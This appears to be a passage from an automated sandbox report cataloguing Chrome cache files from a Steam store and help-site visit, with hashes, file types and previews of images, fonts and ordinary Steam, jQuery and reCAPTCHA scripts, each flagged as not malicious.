URL:	https://store.akamai.steamstatic.com/public/images//v6/temp/cluster_bg_2.png
Preview:	.PNG........IHDR...!...........7.....tEXtSoftware.Adobe ImageReadyq.e<..."iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmpMM:InstanceID="xmp.iid:53F0C1D58A4311E6A9CC89E9E7EC36A5" xmpMM:DocumentID="xmp.did:53F0C1D68A4311E6A9CC89E9E7EC36A5"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:53F0C1D38A4311E6A9CC89E9E7EC36A5" stRef:documentID="xmp.did:53F0C1D48A4311E6A9CC89E9E7EC36A5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>4.....1.IDATx..m.,..$.0....-A{.R.fC2i)Z.L;.i../.....7.q.w....UE....... A.....?....v.m..v....._.n..~..w.sf.B._.G..c..

Chrome Cache Entry: 208

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 744 x 171, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10863
Entropy (8bit):	7.893336023408476
Encrypted:	false
SSDEEP:	192:5ARjfa23tAJsqmbZEyI3ImwTHVeVUzp7C+22Z6XikPFffq0BV0FIZLKePlOoYWn4:5AfaItAJsfElI3jVwUzpC+JqNfC0wFIM
MD5:	A4E79C73EE13CB25B60FC4B0BA1F690C
SHA1:	B690C31B2EB1B0EB085E91AAAE7E79F03DEBE7C1
SHA-256:	6CB869DF089146C12EFB5E9C968E911C314842624BA6F052A11346AC734CADC8
SHA-512:	AAD423119F410A655F0AA475D2FE692087D7262C3986CE71347981C5B60F6A10031D7050BF9B9AEE4E7D84D814F0B8883C964028FCBE14ED3464602F3BA6CEC3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............4.i{....sRGB.........gAMA......a.....pHYs..........o.d..).IDATx^...}U......\|.hp(..%1..H.DQ..(..H..HF..H..(.B1...hP.B1.."1..")...(."..I.".x.....:.9.......>.c....~....>..c.....7O?..sDDDDD.....QDDDDD.......S...g.Nj..........h.EDDD.F........N;.B.r..!.%.phm.9.....\DDDdr4.25..].:/..?%4...a...}.H.........]..!..qm.....\|m..]DDDdp4.24...$....R..>....{..y.""""..A.! .....C.s.....0......""""}.A.>...{Co.../,..K1._.Qt*"""r..t..r.?.z..l.`.?......tB...@^..Ctb...h...QuZ;....$.A.\..zW.cN.r..c!"._....""".....pY..C.$.'CD.?......N4..+B..1PH.CD....`DDDDZ..G.6...G.!........Bg......M4..r...".\....OB..../""".....&Dy...1..:.\.bJ......t9.....2..w"....&....H.....C..!...t0...Qu...Y(F..u._.4..C..v0.Z....."./.....:eu&%@..B....""".@LqY&.?RZ.^.I..(ty.....,....xA.^.....oCo..\|u&""".G..,.......S.KC.b...Y../.".?.i...;....SDDDf..}.\."rNz...u...:.UDDd.h......)_?....z..LDDDf..}.."r.9....].......Ht..6D..I.3.#..l.EDDd.h.....9.2_..zG..........8;..\|..9..wWg"""

Chrome Cache Entry: 209

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (659), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	824
Entropy (8bit):	5.4873953810406135
Encrypted:	false
SSDEEP:	24:+Tuj0z//T19TOf4rBQibMGPo5cr6cOSGVXpBRCT:+Tuj0//T1JRlbVo52Om
MD5:	B03962A3336EE12137F1A50057F3CBF8
SHA1:	2A7DD13865E71A815773E8E226E4283CDE95FF97
SHA-256:	0424392B16410979DEFF96C0350AE3A03C60D477BD1E758021DCCD3C68F24880
SHA-512:	3A52E02EB598F05A0DEC0748D3FB5FA99D19B62EA9281E886191966A4A9AB6F03650A690102E1F55C80D13CE56B1EEBB2C68EC4E532C24BC7A684349E1D5120B
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/applications/store/login.js?contenthash=a191782b1270c963e3b1
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..(self.webpackChunkstore=self.webpackChunkstore\|\|[]).push([[6966],{67692:e=>{e.exports={LoginContainer:"_2kLRmRsLwjGDlm-ZfUpChG"}},8685:(e,t,r)=>{"use strict";r.r(t),r.d(t,{default:()=>c});var n=r(67692),a=r(90626),o=r(97436),l=r(78327),s=r(28240),i=r(23809);function c(e){const{redirectUrl:t=l.TS.STORE_BASE_URL}=e,r=(0,i.rW)(),[c,u]=(0,a.useState)(!1),m=e.guest;return a.createElement("div",{className:n.LoginContainer},c?a.createElement(o.Fn,null):a.createElement(o.YN,{autoFocus:!0,transport:r,platform:2,onComplete:e=>{e==s.wI.k_PrimaryDomainFail?u(!0):window.location.assign(t)},redirectUrl:t},m&&a.createElement(o.Mk,{redirectURL:e.redirectUrl})))}}}]);

Chrome Cache Entry: 210

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 15 x 13, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	291
Entropy (8bit):	6.7719789082293165
Encrypted:	false
SSDEEP:	6:6v/lhPU8WnDspP8GYUQiOTmUDJcyYWm5kvrCBVreLbp:6v/78OaGYfLDBYCrCneL1
MD5:	A2796187C58C7E948159E37D6990ECC2
SHA1:	4209CD85ADD507247F9CE5A87A8C9095B54EE417
SHA-256:	23341256DB7F44B1F3811880FA2BAE6B7748BBF6B62C544A162E38CF0D5C5082
SHA-512:	5EF103B8398507495C2708DF8FCD82BDB763B1D580AAAA6CACFB805614764277C19E8ECE5D890A8AAFC004FC8C25E3AB2E67D6FBF373C432A9A0D7C36FA0890F
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............v.4A....tEXtSoftware.Adobe ImageReadyq.e<....IDATx.b...?.......9....]@.......O.G..@...?..:!..H.....T...{.i>..Y.M...ff..W..'.._P>..!..j.......&......4.'...X.@......?.5..m7..E..X.....Eh. ...P...Q ........... ...%.......y...c..@..?i...{.....HteDtom....IEND.B`.

Chrome Cache Entry: 211

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 212

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	92
Entropy (8bit):	5.071769701137034
Encrypted:	false
SSDEEP:	3:2uhx7lSNDrff0dutNDufFm8riAk:JT7lSBz0gtN6msiAk
MD5:	538ADD68F446543C7AC544CEC3DED5F1
SHA1:	BDDB92B6F3A3C3BEB8A26E54A644B18BEB64E9C6
SHA-256:	C43F7BEB7CECC72438283B1B2947C9B2455A5C099136E4F39C1311A2BA221156
SHA-512:	AAE0A67D7D9A156F240775B213F1A2205992000B186C63F64C5F494343F705B9EA83288E84B07415B4C8A01EDD8A69F25C1CE1EB8109CCE57853F1123D157B67
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSFwmpxiXbITt9jxIFDZFhlU4SBQ01hlQc?alt=proto
Preview:	CkMKDQ2RYZVOGgQIVhgCIAEKMg01hlQcGgQISxgCKiUIClIhChchQC5fIyQqLT8rJi8lLCleOig9fjwnOxABGP////8P

Chrome Cache Entry: 213

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 66 x 66, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3207
Entropy (8bit):	7.929417630532427
Encrypted:	false
SSDEEP:	48:4/6c6pVCtBEk0RSsouHmNbs8e7mf6TRdfNHMonp1J4kezFflFlig7xKZ1cxB:4SLpkBEYsouGuriyT7FsuPIl6gwZ1m
MD5:	302025BB525953B50D68EECD59FD185C
SHA1:	2BF0A295B5874E2197B6157C64A09791A27143F1
SHA-256:	EBCCCFC2AFA2440CD2C066A6FE91988882C083F1785E434C31C42F4C3FCE0DBF
SHA-512:	B8C9FEF04B970C9F3D26BBCD006AE0574B3980D6E733F73C3CCD6B7AB368835FFB3EC024937CB3AE3D02474E780FB93A992FC5B4E651C32B34AA9E2D87B14A72
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...B...B......T......pHYs.................sRGB.........gAMA......a.....IDATx...T.W...j.d.lP.T....P.M.".F......Qp.I..I.9.(...KP...L0....%q...h"Qc\...#H#..5...H...'.w.;.....{....[U.A$....07..'......%x(.W......%....)=.......FP~pT.m.......E.oA.6...j.z.!h..Kx...f.M4.Z>.>..S.$.%...I..hNp....... .....9..f&..p.C..G....\c.....;.:..dWJ4k8..G.je..zO..el.Bg&....>8...U.V.O.\|..j.....J<?(md.b..\.!h.i.R....s.IY..j.,...Z.v1t:<.hM.,<..1.PQR...LKs3......9..&....i..xXX....u....\[..`[M...5..rA@WG.uq...e..\...W........p.V......h..4e}..#.M..D.0.WD.x.o..0...G.v...t.i9.......cL.%..oH.G=..p...pq..=....>9\|..y....!..8au...d.mmc......S..".4d........P.X{.^.D"E...]...K..M..e.L..rB..o...7....vB.&..b.+!0...i..o.@xt..k.......C...>r..K...A.7f.._.t=.._....0...!..)#...M..ZJYk..w',.......(...n.Nmm... 1.~../......#.Q.....z....^.;.."...{......L.1\|.A.!#.=..l..o..H{........<..-v/....]..".I....M...4..4..:...B......>.....`k......w..S.....s..M..VZ.~.>...2...9....F8;...o@*

Chrome Cache Entry: 214

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (701), with no line terminators
Category:	downloaded
Size (bytes):	701
Entropy (8bit):	4.89318727646278
Encrypted:	false
SSDEEP:	12:s+K3NV0H3BkLcsDh5Ed+K3/3BkoDh5Ed+K393BkbEDh5Ed+K3BVo3Bk2H:sU39sYdL3hYdp3dYdtVo3P
MD5:	36073B0B50C0FE6DC3EF6CC0FF6A8395
SHA1:	F4EBFCBFC8ACED8374E2DE0EFE1E3C553A2144A7
SHA-256:	B3674D72FEFC76E531652786A0FDD62B13929CF80A80862E84E86656C03A0DB2
SHA-512:	287D269C0290687A8F15E5CF09FB0228089E2F8F02360DCA2435BC73D601E27FE77707F6A35D47FC80947E363C9F99728E3438FCC899DEB51706C7876E6909E3
Malicious:	false
Reputation:	low
URL:	"https://fonts.cdnfonts.com/css/motiva-sans?styles=101373,102902,102901,103845"
Preview:	@font-face{font-family:motiva sans;font-style:normal;font-weight:400;src:local('Motiva Sans'),url(https://fonts.cdnfonts.com/s/61286/MotivaSansRegular.woff.woff) format('woff')}@font-face{font-family:motiva sans;font-style:normal;font-weight:500;src:local('Motiva Sans'),url(https://fonts.cdnfonts.com/s/61286/MotivaSansMedium.woff.woff) format('woff')}@font-face{font-family:motiva sans;font-style:normal;font-weight:700;src:local('Motiva Sans'),url(https://fonts.cdnfonts.com/s/61286/MotivaSansBold.woff.woff) format('woff')}@font-face{font-family:motiva sans;font-style:normal;font-weight:800;src:local('Motiva Sans'),url(https://fonts.cdnfonts.com/s/61286/MotivaSansExtraBold.woff) format('woff')}

Chrome Cache Entry: 215

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 92 x 26, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2843
Entropy (8bit):	6.967423493204583
Encrypted:	false
SSDEEP:	48:o2/61MYLNnwknA9WpitbEsg9wlO/cHJ3z3VHi3bEs/Hc5mmDhhIZwldFWbd/9maH:/SyYRwknmWpiVbgx/mHqb/Hc5thdlubX
MD5:	41E851F8E42B6BF3414278871E93E8A2
SHA1:	A3811C7E1157F77950EC1F0558293BC90E432E82
SHA-256:	399F74C4E69EAC8B59B149293F9A573955FEF0A62B242CFA70346070013E0966
SHA-512:	F3C3549F1390B52791196E6F19584CBD4C4DB2B51FEF78C9C607C944079FED69B75E8F88594C3D647F2DDC29F282BF41BE455BE328AB27C091B4A37C41B00965
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...\.........:.;)....pHYs.................iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/" xmp:CreatorTool="Adobe Photoshop CS6 (Windows)" xmp:CreateDate="2019-08-09T13:37:29-07:00" xmp:ModifyDate="2020-06-17T17:39:04-07:00" xmp:MetadataDate="2020-06-17T17:39:04-07:00" xmpMM:InstanceID="xmp.iid:a6176093-d0df-1f4a-86f8-26e70acca1dd" xmpMM:DocumentID="adobe:docid:photoshop:5cf069c4-c89c-fa4c-8c00-dff9f3add583" xmpMM:OriginalDocumentID="x

Chrome Cache Entry: 216

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1526), with no line terminators
Category:	downloaded
Size (bytes):	1526
Entropy (8bit):	5.75032363285845
Encrypted:	false
SSDEEP:	24:2jkm94oHPccXbjZy+KVCe2TLph9gFB5vtADjkrDQndcl/1t4glvllLtw1aWDAQop:iEcpxKo7LmvtUjPKtX7S1aiRLrwUnG
MD5:	B15969827D0F6431C1A98EDF467AD051
SHA1:	FC5B77E9B5631B47E551BFF87174ED5C0417C25F
SHA-256:	5620E62E0F92C56CA9827CEF87364B9A715287BEEAF1D309672657BFF847CC94
SHA-512:	68DC21165E532F73728923054647F13499D44BA31E475A15156C540F80FB246C3457747A4C05AC0F368BE2616F906E7B08E4C71FDBB38208D2C3C9C779A61DFF
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/enterprise.js?render=explicit
Preview:	/* PLEASE DO NOT COPY AND PASTE THIS CODE. */(function(){var w=window,C='___grecaptcha_cfg',cfg=w[C]=w[C]\|\|{},N='grecaptcha';var E='enterprise',a=w[N]=w[N]\|\|{},gr=a[E]=a[E]\|\|{};gr.ready=gr.ready\|\|function(f){(cfg['fns']=cfg['fns']\|\|[]).push(f);};w['__recaptcha_api']='https://www.google.com/recaptcha/enterprise/';(cfg['enterprise']=cfg['enterprise']\|\|[]).push(true);(cfg['render']=cfg['render']\|\|[]).push('explicit');w['__google_recaptcha_client']=true;var d=document,po=d.createElement('script');po.type='text/javascript';po.async=true; po.charset='utf-8';var v=w.navigator,m=d.createElement('meta');m.httpEquiv='origin-trial';m.content='A/kargTFyk8MR5ueravczef/wIlTkbVk1qXQesp39nV+xNECPdLBVeYffxrM8TmZT6RArWGQVCJ0LRivD7glcAUAAACQeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IkRpc2FibGVUaGlyZFBhcnR5U3RvcmFnZVBhcnRpdGlvbmluZzIiLCJleHBpcnkiOjE3NDIzNDIzOTksImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9';if(v&&v.cookieDeprecationLabel){v.cookieDeprecationLabel.getValue().then(f

Chrome Cache Entry: 217

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	TrueType Font data, digitally signed, 18 tables, 1st "DSIG", 22 names, Macintosh, Copyright \251 2012, 2017, 2020 by Plau. All rights reserved.Motiva SansRegular4.015;Plau;Motiva
Category:	downloaded
Size (bytes):	122684
Entropy (8bit):	6.0666961682037535
Encrypted:	false
SSDEEP:	3072:lpsQ7l3T64Z1lKcDqttEPBWVNwZ+e222pKKSxfj9:Yg3T64Z19DqtkWbu/222kZfh
MD5:	57613E143FF3DAE10F282E84A066DE28
SHA1:	88756CC8C6DB645B5F20AA17B14FEEFB4411C25F
SHA-256:	19B8DB163BCC51732457EFA40911B4A422F297FF3CD566467D87EAB93CEF0C14
SHA-512:	94F045E71B9276944609CA69FC4B8704E4447F9B0FC2B80789CC012235895C50EF9ECB781A3ED901A0C989BED26CAA37D4D4A9BAFFCCE2CB19606DBB16A17176
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015
Preview:	........... DSIG.......4....GDEF...4...,...@GPOS:>}....l..uzGSUB.d....v.....OS/2u6.........`cmap.d..........cvt F......\|....fpgm.6!....D....gasp.......t....glyf._m....\|....head...H...l...6hhea...G.......$hmtx..l.........locaCH..........maxp.......X... name..l...x...opost............prep.......\...................................s...t.u...v......./......... .Q...........D..DFLT..latn. .................!.:..AZE .HCAT .VCRT .dKAZ .rMOL ..NLD ..ROM ..TAT ..TRK ...............".............#.............$.............%.............&.............'.............(.............).............*........... .+.,cpsp..cpsp..cpsp..cpsp..cpsp."cpsp.(cpsp..cpsp.4cpsp.:cpsp.@cpsp.Fkern.Lkern.Tkern.\kern.dkern.lkern.tkern.\|kern..kern..kern..kern..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mark..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk..mkmk."mkmk.,mkmk.6mkmk.@mkmk.J..................................................................................................................................

Chrome Cache Entry: 218

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 19 x 12, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	161
Entropy (8bit):	5.889732387119839
Encrypted:	false
SSDEEP:	3:yionv//thPlmztjllRl/HRthwkBDsTBZtmmAQGzlkWX0N/khY1RtjhCq/4cL+/XN:6v/lhPoJnDsp1AQIlBE91RtjhCE4cK/9
MD5:	F2DAE37ACAC6B9D5A91CAF1885C2F7D0
SHA1:	5F80FDDE9F702A1D7589BC5FAF88C14066E26C32
SHA-256:	93B1FBE4F6245B62BFD4C8C3347ABE0FE67ED711315E59BFADAEBC9873D8D9B5
SHA-512:	8D7FF7133AB97D81985C50FA8FD93916B42B1CE812AF21BC732DCAE45D59B9154FCC965857235D925C471DB191DFB79C0753C70C7A4D5B0285B908E396216805
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/popups/btn_arrow_down_padded.png
Preview:	.PNG........IHDR....................tEXtSoftware.Adobe ImageReadyq.e<...CIDATx.b...?.....6....@.........6.h..1..A....@....fH.^.g.HO.......#.7.d.].....IEND.B`.

Chrome Cache Entry: 219

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (355), with CRLF line terminators
Category:	downloaded
Size (bytes):	135833
Entropy (8bit):	5.69218613768848
Encrypted:	false
SSDEEP:	3072:JmUG0YLJR5J2hn+FmzYVQwxhG5YLpQuce8YL3vjzxmPCjwjlbKlZNUupM:JmUG0YLJR5J2hmmzYVQwxhG5YLpQYL3C
MD5:	12F4F1A7680F00846F5EFFF0A06F4917
SHA1:	EB16DCA2EB1D74FE99F29B2EE03404E0FD75B9A9
SHA-256:	B4DB2CF524525B37820A32570C9AAC5C23484CBF024B209537DA4625D3C2BEA1
SHA-512:	26B081D5989A7492AF5722DBC29130D73D4E296EB8B8E7C55FEAFFF5EE2832A5A0F337F3DC259759F1F796B6233D57BBED2E4D89E414AD9505A4977827BE1D75
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/ru/public/javascript/help.js?v=EvTxp2gPAIRv
Preview:	..HelpWizard = {...m_sCurrentPage: null,...m_steamid: '',...m_bUseHistoryAPI: false,...m_bInSearch: false,.....LoadPageFromHash: function( fresh_page_load, url, link_click, search_text ) {....var wizard_url = url;....if ( !wizard_url )....{.....if ( window.location.hash.length < 2 )......wizard_url = 'Home';.....else......wizard_url = window.location.hash.replace( /^#!?/,'');....}........if ( wizard_url.toLowerCase().startsWith('login') )....{.....window.location = "https://help.steampowered.com/ru/login" + wizard_url.slice( 5 );.....return;....}......var page_url = wizard_url;....var iQueryString = wizard_url.indexOf( '?' );....if ( iQueryString >= 0 )....{.....// strip search term out of wizard_url.....var rgQueryParams = iQueryString >= 0 ? $J.deparam( wizard_url.substr( iQueryString + 1 ) ) : {};.......if ( rgQueryParams.text ).....{......page_url = wizard_url.substr( 0, iQueryString );......search_text = rgQueryParams.text;......delete rgQueryParams.text;......var strQuery = $J.pa

Chrome Cache Entry: 220

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 244 x 212, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3777
Entropy (8bit):	7.855078020337897
Encrypted:	false
SSDEEP:	96:W5Zsk8bb6l5qnCoghGfkm37QP00rqGDXrg/sG3vUx+Iocg2fkjGfkjky:W5H8o5qe0Mu7600WiXE/v3ve+Is2MjGm
MD5:	EABC76EB57FEAE44ADD7FAEAD028521E
SHA1:	4E3E53938FAD15661D2D046A868338841A95DB19
SHA-256:	FC9E6260A2706AE146282D77E67BC1B74688435F8912AB4C1932641EEC28BFFA
SHA-512:	5C6DA6EEEFDDF321C2BC7E39A134E0A3140A9F93AD1560B2E102EF60EC218C29AAE14ED344C79E25CC5493CD15551040D8C909DE28DCAB02034D787563104E07
Malicious:	false
Reputation:	low
URL:	https://help.steampowered.com/public/shared/images/responsive/header_menu_hamburger.png
Preview:	.PNG........IHDR.....................tEXtSoftware.Adobe ImageReadyq.e<...cIDATx..._LTg...w.i........Vmk.6X....i..F..{...^..^4Mz..6ml..nb ]....e.a....v..)...a.E.).#..>.0.3g.Kww8/..'y.g........sf.....W.2.... ...4....@......@...h... ...4....@. ....@...h... ...4....@. ....@...h......2....P^^...sVEE....r..={f.K....I...F#R...g..vN..k...%.Oj..6...h.:"...0......K.E..G..."..@.x..w.*...'."_..A...L.r....I..W........^H...Q...:;..h4j.z..8..,..a/...w.Fm.Meg.C.a.\|..w.....u.`.zM.U.=....4e...=.U.....[.h.z..j...Te.a..z...+RUR.8.N.u.INN..o?a........E...o}.#...._....Oc..=.Orr.&.!;;[=..3..q.....?H...0{.S._m.B..(.6.Rm.)...]..%....3..c..Dk.M..z.%.c..NTd...}..90..tj.v.#.L..M.t.uc.<>..3..;..:..G..9..I.....%.@.`..d....@...h.@. ...4`6...M.@'.n......I/z`5>>.K...X7Z.Z.....5.7..h+.N.h....gS...8...........@..Njj.}....'...{`...'T{....mmm'.t2....?V..=C.......=b......`\|s.@'zC.N......."..>k...M......)...}....?.r...+z.x....JTII.....4.O_....s..?>W..?.O.....`...t{...r..Z

Chrome Cache Entry: 221

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2917
Entropy (8bit):	5.228296617631515
Encrypted:	false
SSDEEP:	48:PFzAlKxWKDzeqy5UZEwvUD675JZh9wuh6Fyy2Yl0rIFS3E3Ez9+IQQdwxjTTSeaQ:+zBN5Gvg6LZfwvkyXk+4E3EzbaxrSdMp
MD5:	405088F8D3FED7506E915118063BE2C2
SHA1:	1E8B4FBD31497DC0C6656791C2F90828E318140C
SHA-256:	BFCFD556CD300A21962BC18721C79D670BFFD653D058AC8FD1ADFD50D2D00C82
SHA-512:	FADF951A97ADDF12662F3D0272E39BDB60544C40FFD93E33C643769D7175A7265CA693F2B55C4BE8C0E7B872098912696D92CABC5A5B4319AB0201C553B477A0
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/modal.js?v=.Gl8zxCENQAoO
Preview:	var selStates = new Array();..var modalDismissHandler = false;....function showGotSteamModal( contentEl, steamURL, appName )..{...$('gotSteam_SteamURL').href = steamURL;...$('gotSteam_AppName').update( appName );...showModal( contentEl );..}....function showModal( contentEl, bExplicitDismisalOnly )..{...// hide selects, which have an infinitely high z-index in IE...sels = document.getElementsByTagName('select');...selStates.length = 0;...for(x=0;x<sels.length;x++)...{....selStates.push((sels[x].style.visibility == undefined ? 'visible' : sels[x].style.visibility));....sels[x].style.visibility = 'hidden';...}......bgEl = document.getElementById('modalBG');...if(!bgEl)...{....bgEl = document.createElement('div');....bgEl.id = 'modalBG';...}...new Effect.Appear( bgEl, { from: 0.0, to: 0.8, duration: 0.4 } );......cEl = $(contentEl);...cEl.show();......modalSizing( cEl );.....cEl.sizingListener = modalSizing.bind( null, cEl );.....// skip registering the resize/scroll events on iphone as w

Chrome Cache Entry: 222

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	4
Entropy (8bit):	2.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	B326B5062B2F0E69046810717534CB09
SHA1:	5FFE533B830F08A0326348A9160AFAFC8ADA44DB
SHA-256:	B5BEA41B6C623F7C09F1BF24DCAE58EBAB3C0CDD90AD966BC43A45B44867E12B
SHA-512:	9120CD5FAEF07A08E971FF024A3FCBEA1E3A6B44142A6D82CA28C6C42E4F852595BCF53D81D776F10541045ABDB7C37950629415D0DC66C8D86C64A5606D32DE
Malicious:	false
Reputation:	low
Preview:	true

Chrome Cache Entry: 223

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1161
Entropy (8bit):	6.483902966293242
Encrypted:	false
SSDEEP:	24:2C1hkyaWwjx82lY2T3RVNxhpyJ3Vlt8vmG8ll6f7iX:HZNn2lPzoJ3PtQmBY0
MD5:	E406E5A22E4F3CFA580D3BB57420150E
SHA1:	5B381E535BB0CE6003A461F3124FA1238DFBCEDB
SHA-256:	760589F903C5E9BD169B38F941F9A3DC88A23897E9CC5B622D3D91F5C204B9E4
SHA-512:	E33CB7BD10104A1E8C2D3F2B3885D65EF3769F7250445C8341D6D2AD2367749CCDC48DAABE4EA39CB80EE0362AF9D01E48370DB858BA01F956A1A6B8C04217C1
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/ico/ico_facebook.png
Preview:	.PNG........IHDR................a....tEXtSoftware.Adobe ImageReadyq.e<...'iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899777, 2023/06/25-23:57:14 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 25.1 (Windows)" xmpMM:InstanceID="xmp.iid:399EA8C592D411EE91E8F6773DB0009B" xmpMM:DocumentID="xmp.did:399EA8C692D411EE91E8F6773DB0009B"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:399EA8C392D411EE91E8F6773DB0009B" stRef:documentID="xmp.did:399EA8C492D411EE91E8F6773DB0009B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.d......IDATx.b..U.d``.......@...4.....0......PWU.p..Q....1\=...2I.\Fg.&3de.....BX..4 ...L...!#....... )!..7m..

Chrome Cache Entry: 224

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 30 x 30, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1213
